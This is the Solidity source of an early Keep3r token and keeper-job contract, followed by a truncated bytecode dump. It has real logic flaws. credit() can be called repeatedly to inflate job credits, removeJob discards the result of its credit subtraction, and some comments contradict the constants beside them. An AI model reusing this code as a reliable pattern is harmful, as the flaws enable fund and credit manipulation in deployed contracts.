// SPDX-License-Identifier: MIT pragma solidity ^0.6.6; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "Uniloan::SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } interface Governance { function proposeJob(address job) external returns (uint); } interface WETH9 { function deposit() external payable; function balanceOf(address account) external view returns (uint); function approve(address spender, uint amount) external returns (bool); } interface Uniswap { function factory() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); } interface UniswapPair { function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function balanceOf(address account) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function totalSupply() external view returns (uint); } interface Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } contract Keep3r { using SafeMath for uint; /// @notice WETH address to liquidity into UNI WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); /// @notice UniswapV2Router address Uniswap public constant UNI = Uniswap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); /// @notice EIP-20 token name for this token string public constant name = "Keep3r"; /// @notice EIP-20 token symbol for this token string public constant symbol = "KPR"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 0; // Initial 0 /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint votes; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "::delegateBySig: invalid nonce"); require(now <= expiry, "::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint) { require(blockNumber < block.number, "::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint delegatorBalance = bonds[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint srcRepNew = srcRepOld.sub(amount, "::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes) internal { uint32 blockNumber = safe32(block.number, "::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); /// @notice Submit a job event SubmitJob(address indexed job, address indexed provider, uint block, uint credit); /// @notice Remove credit for a job event RemoveJob(address indexed job, address indexed provider, uint block, uint credit); /// @notice Unbond credit for a job event UnbondJob(address indexed job, address indexed provider, uint block, uint credit); /// @notice Added a Job event JobAdded(address indexed job, uint block, address governance); /// @notice Removed a job event JobRemoved(address indexed job, uint block, address governance); /// @notice Worked a job event KeeperWorked(address indexed job, address indexed keeper, uint block); /// @notice Keeper bonding event KeeperBonding(address indexed keeper, uint block, uint active, uint bond); /// @notice Keeper bonded event KeeperBonded(address indexed keeper, uint block, uint activated, uint bond); /// @notice Keeper unbonding event KeeperUnbonding(address indexed keeper, uint block, uint deactive, uint bond); /// @notice Keeper unbound event KeeperUnbound(address indexed keeper, uint block, uint deactivated, uint bond); /// @notice Keeper slashed event KeeperSlashed(address indexed keeper, address indexed slasher, uint block, uint slash); /// @notice Keeper disputed event KeeperDispute(address indexed keeper, uint block); /// @notice Keeper resolved event KeeperResolved(address indexed keeper, uint block); /// @notice 1 day to bond to become a keeper uint constant public BOND = 3 days; /// @notice 14 days to unbond to remove funds from being a keeper uint constant public UNBOND = 14 days; /// @notice 7 days maximum downtime before being slashed uint constant public DOWNTIME = 7 days; /// @notice 5% of funds slashed for downtime uint constant public DOWNTIMESLASH = 500; uint constant public BASE = 10000; /// @notice tracks all current bondings (time) mapping(address => uint) public bondings; /// @notice tracks all current unbondings (time) mapping(address => uint) public unbondings; /// @notice tracks all current pending bonds (amount) mapping(address => uint) public pendingbonds; /// @notice tracks how much a keeper has bonded mapping(address => uint) public bonds; /// @notice total bonded (totalSupply for bonds) uint public totalBonded = 0; /// @notice tracks when a keeper was first registered mapping(address => uint) public firstSeen; /// @notice tracks if a keeper has a pending dispute mapping(address => bool) public disputes; /// @notice tracks last job performed for a keeper mapping(address => uint) public lastJob; /// @notice tracks the amount of job executions for a keeper mapping(address => uint) public work; /// @notice tracks the total job executions for a keeper mapping(address => uint) public workCompleted; /// @notice list of all jobs registered for the keeper system mapping(address => bool) public jobs; /// @notice the current credit available for a job mapping(address => uint) public credits; /// @notice the balances for the liquidity providers mapping(address => uint) public liquidityProviders; /// @notice tracks the relationship between a liquidityProvider and their job mapping(address => address) public liquidityProvided; /// @notice liquidity unbonding days mapping(address => uint) public liquidityUnbonding; /// @notice job proposal delay mapping(address => uint) public jobProposalDelay; /// @notice liquidity apply date mapping(address => uint) public liquidityApplied; /// @notice list of all current keepers mapping(address => bool) public keepers; /// @notice traversable array of keepers to make external management easier address[] public keeperList; /// @notice governance address for the governance contract address public governance; /// @notice the liquidity token supplied by users paying for jobs UniswapPair public liquidity; constructor() public { // Set governance for this token governance = msg.sender; _mint(msg.sender, 10000e18); } function setup() public payable { require(address(liquidity) == address(0x0), "Keep3r::setup: keep3r already setup"); WETH.deposit.value(msg.value)(); WETH.approve(address(UNI), msg.value); _mint(address(this), 400e18); allowances[address(this)][address(UNI)] = balances[address(this)]; // Setup liquidity pool with initial liquidity 1 ETH : 400 KPR UNI.addLiquidity(address(this), address(WETH), balances[address(this)], WETH.balanceOf(address(this)), 0, 0, msg.sender, now.add(1800)); liquidity = UniswapPair(Factory(UNI.factory()).getPair(address(this), address(WETH))); } /** * @notice Allows liquidity providers to submit jobs * @param amount the amount of tokens to mint to treasury * @param job the job to assign credit to * @param amount the amount of liquidity tokens to use */ function submitJob(address job, uint amount) external { require(liquidityProvided[msg.sender]==address(0x0), "Keep3r::submitJob: liquidity already provided, please remove first"); liquidity.transferFrom(msg.sender, address(this), amount); liquidityProviders[msg.sender] = amount; liquidityProvided[msg.sender] = job; liquidityApplied[msg.sender] = now.add(1 days); if (!jobs[job] && jobProposalDelay[job] < now) { Governance(governance).proposeJob(job); jobProposalDelay[job] = now.add(UNBOND); } emit SubmitJob(job, msg.sender, block.number, amount); } function credit(address provider, address job) external { require(liquidityApplied[provider] != 0, "Keep3r::credit: submitJob first"); require(liquidityApplied[provider] < now, "Keep3r::credit: still bonding"); uint _liquidity = balances[address(liquidity)]; uint _credit = _liquidity.mul(liquidityProviders[provider]).div(liquidity.totalSupply()); credits[job] = credits[job].add(_credit.mul(2)); // Double liquidity to account for 50:50 } /** * @notice Unbond liquidity for a pending keeper job */ function unbondJob() external { liquidityUnbonding[msg.sender] = now.add(UNBOND); emit UnbondJob(liquidityProvided[msg.sender], msg.sender, block.number, liquidityProviders[msg.sender]); } /** * @notice Allows liquidity providers to remove liquidity */ function removeJob() external { require(liquidityUnbonding[msg.sender] != 0, "Keep3r::removeJob: unbond first"); require(liquidityUnbonding[msg.sender] < now, "Keep3r::removeJob: still unbonding"); uint _provided = liquidityProviders[msg.sender]; uint _liquidity = balances[address(liquidity)]; uint _credit = _liquidity.mul(_provided).div(liquidity.totalSupply()); address _job = liquidityProvided[msg.sender]; if (_credit > credits[_job]) { credits[_job] = 0; } else { credits[_job].sub(_credit); } liquidity.transfer(msg.sender, _provided); liquidityProviders[msg.sender] = 0; liquidityProvided[msg.sender] = address(0x0); emit RemoveJob(_job, msg.sender, block.number, _provided); } /** * @notice Allows governance to mint new tokens to treasury * @param amount the amount of tokens to mint to treasury */ function mint(uint amount) external { require(msg.sender == governance, "Keep3r::mint: governance only"); _mint(governance, amount); } function burn(uint amount) external { _burn(msg.sender, amount); } function _mint(address dst, uint amount) internal { // mint the amount totalSupply = totalSupply.add(amount); // transfer the amount to the recipient balances[dst] = balances[dst].add(amount); emit Transfer(address(0), dst, amount); } function _burn(address dst, uint amount) internal { require(dst != address(0), "::_burn: burn from the zero address"); balances[dst] = balances[dst].sub(amount, "::_burn: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(dst, address(0), amount); } /** * @notice Allows keepers to claim for work done */ function claim() external { _mint(msg.sender, work[msg.sender]); work[msg.sender] = 0; } /** * @notice Implemented by jobs to show that a keeper performend work * @param keeper address of the keeper that performed the work * @param amount the reward that should be allocated */ function workReceipt(address keeper, uint amount) external { require(jobs[msg.sender], "Keep3r::workReceipt: only jobs can approve work"); lastJob[keeper] = now; credits[msg.sender] = credits[msg.sender].sub(amount, "Keep3r::workReceipt: insuffient funds to pay keeper"); work[keeper] = work[keeper].add(amount); workCompleted[keeper] = workCompleted[keeper].add(amount); emit KeeperWorked(msg.sender, keeper, block.number); } /** * @notice Allows governance to add new job systems * @param job address of the contract for which work should be performed */ function addJob(address job) external { require(msg.sender == governance, "Keep3r::addJob: only governance can add jobs"); jobs[job] = true; emit JobAdded(job, block.number, msg.sender); } /** * @notice Allows governance to remove a job from the systems * @param job address of the contract for which work should be performed */ function removeJob(address job) external { require(msg.sender == governance, "Keep3r::removeJob: only governance can remove jobs"); jobs[job] = false; emit JobRemoved(job, block.number, msg.sender); } /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "Keep3r::setGovernance: only governance can set"); governance = _governance; } /** * @notice confirms if the current keeper is registered, can be used for general (non critical) functions * @return true/false if the address is a keeper */ function isKeeper(address keeper) external view returns (bool) { return keepers[keeper]; } /** * @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions * @return true/false if the address is a keeper and has more than the bond */ function isMinKeeper(address keeper, uint minBond, uint completed, uint age) external view returns (bool) { return keepers[keeper] && bonds[keeper] >= minBond && workCompleted[keeper] > completed && now.sub(firstSeen[keeper]) > age; } /** * @notice begin the bonding process for a new keeper */ function bond(uint amount) external { require(pendingbonds[msg.sender] == 0, "Keep3r::bond: current pending bond"); bondings[msg.sender] = now.add(BOND); pendingbonds[msg.sender] = amount; _transferTokens(msg.sender, address(this), amount); emit KeeperBonding(msg.sender, block.number, bondings[msg.sender], amount); } function getKeepers() external view returns (address[] memory) { return keeperList; } /** * @notice allows a keeper to activate/register themselves after bonding */ function activate() external { require(bondings[msg.sender] != 0, "Keep3r::activate: bond first"); require(bondings[msg.sender] < now, "Keep3r::activate: still bonding"); if (!keepers[msg.sender]) { firstSeen[msg.sender] = now; } keepers[msg.sender] = true; totalBonded = totalBonded.add(pendingbonds[msg.sender]); bonds[msg.sender] = bonds[msg.sender].add(pendingbonds[msg.sender]); pendingbonds[msg.sender] = 0; if (lastJob[msg.sender] == 0) { lastJob[msg.sender] = now; keeperList.push(msg.sender); } emit KeeperBonded(msg.sender, block.number, block.timestamp, bonds[msg.sender]); } /** * @notice begin the unbonding process to stop being a keeper */ function unbond() external { keepers[msg.sender] = false; unbondings[msg.sender] = now.add(UNBOND); totalBonded = totalBonded.sub(bonds[msg.sender]); _moveDelegates(delegates[msg.sender], address(0), bonds[msg.sender]); emit KeeperUnbonding(msg.sender, block.number, unbondings[msg.sender], bonds[msg.sender]); } /** * @notice withdraw funds after unbonding has finished */ function withdraw() external { require(unbondings[msg.sender] != 0, "Keep3r::withdraw: unbond first"); require(unbondings[msg.sender] < now, "Keep3r::withdraw: still unbonding"); require(!disputes[msg.sender], "Keep3r::withdraw: pending disputes"); _transferTokens(address(this), msg.sender, bonds[msg.sender]); emit KeeperUnbound(msg.sender, block.number, block.timestamp, bonds[msg.sender]); bonds[msg.sender] = 0; } /** * @notice slash a keeper for downtime * @param keeper the address being slashed */ function down(address keeper) external { require(keepers[keeper], "Keep3r::down: keeper not registered"); require(lastJob[keeper].add(DOWNTIME) < now, "Keep3r::down: keeper safe"); uint _slash = bonds[keeper].mul(DOWNTIMESLASH).div(BASE); bonds[keeper] = bonds[keeper].sub(_slash); _mint(msg.sender, 1e18); lastJob[keeper] = now; emit KeeperSlashed(keeper, msg.sender, block.number, _slash); } /** * @notice allows governance to create a dispute for a given keeper * @param keeper the address in dispute */ function dispute(address keeper) external returns (uint) { require(msg.sender == governance, "Keep3r::dispute: only governance can dispute"); disputes[keeper] = true; emit KeeperDispute(keeper, block.number); } /** * @notice allows governance to slash a keeper based on a dispute * @param keeper the address being slashed * @param amount the amount being slashed */ function slash(address keeper, uint amount) external { require(msg.sender == governance, "Keep3r::slash: only governance can resolve"); bonds[keeper] = bonds[keeper].sub(amount); disputes[keeper] = false; emit KeeperSlashed(keeper, msg.sender, block.number, amount); } /** * @notice allows governance to resolve a dispute on a keeper * @param keeper the address cleared */ function resolve(address keeper) external { require(msg.sender == governance, "Keep3r::resolve: only governance can resolve"); disputes[keeper] = false; emit KeeperResolved(keeper, block.number); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) public returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param amount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "::permit: invalid signature"); require(signatory == owner, "::permit: unauthorized"); require(now <= deadline, "::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) public returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "::_transferTokens: cannot transfer to the zero address"); balances[src] = balances[src].sub(amount, "::_transferTokens: transfer amount exceeds balance"); balances[dst] = balances[dst].add(amount, "::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } }
0x60806040526004361061041b5760003560e01c8063782d6fe11161021e578063c1c1d21811610123578063e326ac43116100ab578063f1127ed81161007a578063f1127ed814611034578063f1896b5414611093578063f75f9f7b146110c6578063fe10d774146110f9578063fe5ff4681461112c5761041b565b8063e326ac4314610fad578063e7a324dc14610fe0578063ec342ad014610ff5578063ec4515dd1461100a5761041b565b8063ce0e698d116100f2578063ce0e698d14610e75578063d454019d14610eae578063d505accf14610ee1578063dbd9426714610f3f578063dd62ed3e14610f725761041b565b8063c1c1d21814610d9e578063c3cda52014610db3578063c5198abc14610e07578063cc1f0d2d14610e3a5761041b565b8063a9059cbb116101a6578063b0103b1a11610175578063b0103b1a14610c98578063b105e39f14610ccb578063b24ae47714610d30578063b4b5ea5714610d63578063ba0bba4014610d965761041b565b8063a9059cbb14610be4578063ab033ea914610c1d578063abbb247f14610c50578063ad5c464814610c835761041b565b8063950a2ca2116101ed578063950a2ca214610b5157806395d89b4114610b66578063985348bf14610b7b5780639940686e14610b90578063a0712d6814610bba5761041b565b8063782d6fe114610a7f5780637ecebe0014610ab85780638071198914610aeb57806393f6c2ad14610b1e5761041b565b80633d1f0bb9116103245780635aa6e675116102ac57806365119f721161027b57806365119f72146109675780636ba42aaa1461099a5780636fcfff45146109cd57806370a0823114610a195780637724ff6814610a4c5761041b565b80635aa6e675146108f55780635c19a95c1461090a5780635df6a6bc1461093d578063603b4d14146109525761041b565b80634b3fde21116102f35780634b3fde211461082c5780634e71d92d14610865578063541bcb761461087a57806355ea6c471461088f578063587cde1e146108c25761041b565b80633d1f0bb91461078757806342966c68146107ba57806344d96e95146107e45780634a5c8de8146107f95761041b565b806320606b70116103a7578063313ce56711610376578063313ce567146106cc57806336df7ea5146106f75780633850fef01461072a5780633bbd64bc1461073f5780633ccfd60b146107725761041b565b806320606b701461062c57806323b872dd14610641578063284cc0a91461068457806330adf81f146106b75761041b565b80630f15f4c0116103ee5780630f15f4c01461054757806318160ddd1461055c5780631a686502146105835780631b44555e146105b45780631ff5f3da146105e75761041b565b806302fb4d851461042057806306fdde031461045b578063095ea7b3146104e55780630aa4473114610532575b600080fd5b34801561042c57600080fd5b506104596004803603604081101561044357600080fd5b506001600160a01b03813516906020013561115f565b005b34801561046757600080fd5b50610470611235565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104aa578181015183820152602001610492565b50505050905090810190601f1680156104d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104f157600080fd5b5061051e6004803603604081101561050857600080fd5b506001600160a01b038135169060200135611257565b604080519115158252519081900360200190f35b34801561053e57600080fd5b506104596112be565b34801561055357600080fd5b50610459611574565b34801561056857600080fd5b5061057161178a565b60408051918252519081900360200190f35b34801561058f57600080fd5b50610598611790565b604080516001600160a01b039092168252519081900360200190f35b3480156105c057600080fd5b50610571600480360360208110156105d757600080fd5b50356001600160a01b031661179f565b3480156105f357600080fd5b5061051e6004803603608081101561060a57600080fd5b506001600160a01b0381351690602081013590604081013590606001356117b1565b34801561063857600080fd5b5061057161184c565b34801561064d57600080fd5b5061051e6004803603606081101561066457600080fd5b506001600160a01b03813581169160208101359091169060400135611870565b34801561069057600080fd5b50610459600480360360208110156106a757600080fd5b50356001600160a01b0316611952565b3480156106c357600080fd5b50610571611afc565b3480156106d857600080fd5b506106e1611b20565b6040805160ff9092168252519081900360200190f35b34801561070357600080fd5b506105716004803603602081101561071a57600080fd5b50356001600160a01b0316611b25565b34801561073657600080fd5b50610459611b37565b34801561074b57600080fd5b5061051e6004803603602081101561076257600080fd5b50356001600160a01b0316611bb1565b34801561077e57600080fd5b50610459611bc6565b34801561079357600080fd5b5061051e600480360360208110156107aa57600080fd5b50356001600160a01b0316611d41565b3480156107c657600080fd5b50610459600480360360208110156107dd57600080fd5b5035611d56565b3480156107f057600080fd5b50610571611d63565b34801561080557600080fd5b506105716004803603602081101561081c57600080fd5b50356001600160a01b0316611d69565b34801561083857600080fd5b506104596004803603604081101561084f57600080fd5b506001600160a01b038135169060200135611d7b565b34801561087157600080fd5b50610459611ee1565b34801561088657600080fd5b50610598611f0d565b34801561089b57600080fd5b50610459600480360360208110156108b257600080fd5b50356001600160a01b0316611f25565b3480156108ce57600080fd5b50610598600480360360208110156108e557600080fd5b50356001600160a01b0316611fc6565b34801561090157600080fd5b50610598611fe1565b34801561091657600080fd5b506104596004803603602081101561092d57600080fd5b50356001600160a01b0316611ff0565b34801561094957600080fd5b50610459611ffa565b34801561095e57600080fd5b506105716120d7565b34801561097357600080fd5b506105986004803603602081101561098a57600080fd5b50356001600160a01b03166120de565b3480156109a657600080fd5b5061051e600480360360208110156109bd57600080fd5b50356001600160a01b03166120f9565b3480156109d957600080fd5b50610a00600480360360208110156109f057600080fd5b50356001600160a01b0316612117565b6040805163ffffffff9092168252519081900360200190f35b348015610a2557600080fd5b5061057160048036036020811015610a3c57600080fd5b50356001600160a01b031661212f565b348015610a5857600080fd5b5061057160048036036020811015610a6f57600080fd5b50356001600160a01b031661214a565b348015610a8b57600080fd5b5061057160048036036040811015610aa257600080fd5b506001600160a01b03813516906020013561215c565b348015610ac457600080fd5b5061057160048036036020811015610adb57600080fd5b50356001600160a01b0316612364565b348015610af757600080fd5b5061045960048036036020811015610b0e57600080fd5b50356001600160a01b0316612376565b348015610b2a57600080fd5b5061057160048036036020811015610b4157600080fd5b50356001600160a01b0316612420565b348015610b5d57600080fd5b50610571612432565b348015610b7257600080fd5b50610470612438565b348015610b8757600080fd5b50610571612457565b348015610b9c57600080fd5b5061045960048036036020811015610bb357600080fd5b503561245e565b348015610bc657600080fd5b5061045960048036036020811015610bdd57600080fd5b5035612535565b348015610bf057600080fd5b5061051e60048036036040811015610c0757600080fd5b506001600160a01b0381351690602001356125aa565b348015610c2957600080fd5b5061045960048036036020811015610c4057600080fd5b50356001600160a01b03166125c0565b348015610c5c57600080fd5b5061057160048036036020811015610c7357600080fd5b50356001600160a01b031661262b565b348015610c8f57600080fd5b5061059861263d565b348015610ca457600080fd5b5061051e60048036036020811015610cbb57600080fd5b50356001600160a01b0316612655565b348015610cd757600080fd5b50610ce061266a565b60